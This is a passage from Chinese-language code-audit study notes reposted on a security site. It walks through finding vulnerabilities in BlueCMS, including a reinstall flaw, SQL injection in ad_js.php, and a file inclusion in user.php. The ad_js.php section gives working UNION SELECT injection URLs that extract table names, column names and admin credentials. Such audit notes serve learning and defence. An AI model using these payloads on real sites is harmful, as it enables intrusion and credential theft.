欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

BlueCMS审计学习笔记

来源:本站整理 作者:佚名 时间:2019-08-29 TAG: 我要投稿

这篇只能算是学习笔记,因为bluecms是我第一次审计的CMS,所以参考了不少前辈们的经验。参考文章于文末给出。算是一个记录了我的学习心得,学习的过程的文章。
一.实践总结:
1.可以按照功能点审计,比如评论处是否支持匿名,有没有获取ip处存在sql注入(X-FORWARD-FOR),头像处能否上传图片马;
2.文件包含漏洞除了可以爆关键文件外,也可以和其它漏洞结合(比如图片上传马);
3.对项目结构要有了解,include一般为配置文件所在。可以首先去配置文件中看有没有统一过滤(对get,post,request等),其次看能不能绕过,有没有遗漏;
4.但凡没有使用单引号的变量都可以绕过魔术引号的转译;
5.代码审计从有输入的地方入手。
二.思路总结
1.分析项目结构,分析配置文件(是否存在统一过滤)
2.根据统一过滤存在的绕过问题,遗漏的变量进行代码审计(例如:查找没有用单引号处理的变量)
3.剩余根据功能点进行审计:首先对一个项目的功能点进行总结。例如:注册,登录,评论,发表文章,头像上传,数据库备份,文件上传查看对应代码处是否存在漏洞
4.对个别文件进行通读(尤其注意有输入的地方)。如user.php
5.搜索危险函数
三.实践
分析项目结构:

/admin为后台管理员
/include包含全局的文件,有函数定义的文件,数据库配置,统一过滤配置文件
/install安装
分析配置文件:
思路1:关键字$_GET,$_POST等搜索,看有无过滤
思路2:看主页index包含了哪些配置文件
common.inc.php
对配置文件进行审计,在include文件夹下common.inc.php文件中发现

存在统一过滤。以上的统一过滤只有在变量被单引号括起来的时候有效。进行分析后发现遗漏了$_SERVER(伪造client-ip和x-forwarded-for)
*$_SERVER没有过滤可以全局搜搜getip类似的函数名,查看代码如何获取ip
1.可以重复安装
对关键文件Instll.lock进行分析(如果存在这个文件则不能重复安装,跳转到首页)

首先,对Install.lock全局搜索
发现install.lock文件的处理有逻辑错误
对应代码

代码分析
is_writeable()函数官方说明:如果文件 filename 存在并且可写则返回 TRUE。即install.lock文件并没创建成功
2.ad_js.php
按照配置文档的审计:统一过滤存在绕过问题
全局审计到存在SQL注入的地方,变量没有过滤(双引号,addslash)
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
跟踪$ad_id
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
getone函数

使用元数据表爆出表名
ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
爆出字段
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
获取用户名密码
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
3.ann.php
存在注入的两条语句
$current_act = $db->getfirst("SELECT cat_name FROM ".table('ann_cat')."WHERE cid=".$cid);
$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id =".$ann_id);
getfirst()函数
*和getone()函数功能一样,均为执行查询只是返回值不同为变量

cid和ann_id被赋值过程

被intval处理过了,不能注入
备注:学习intval特性可能导致安全漏洞http://huaidan.org/archives/3047.html
同理无法注入的部分:
1.command.php里的两条sql
4.user.php
按照功能审计:支付功能
(1)act=pay时的文件包含漏洞
存在文件包含漏洞

漏洞利用BurpSuite抓包:

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载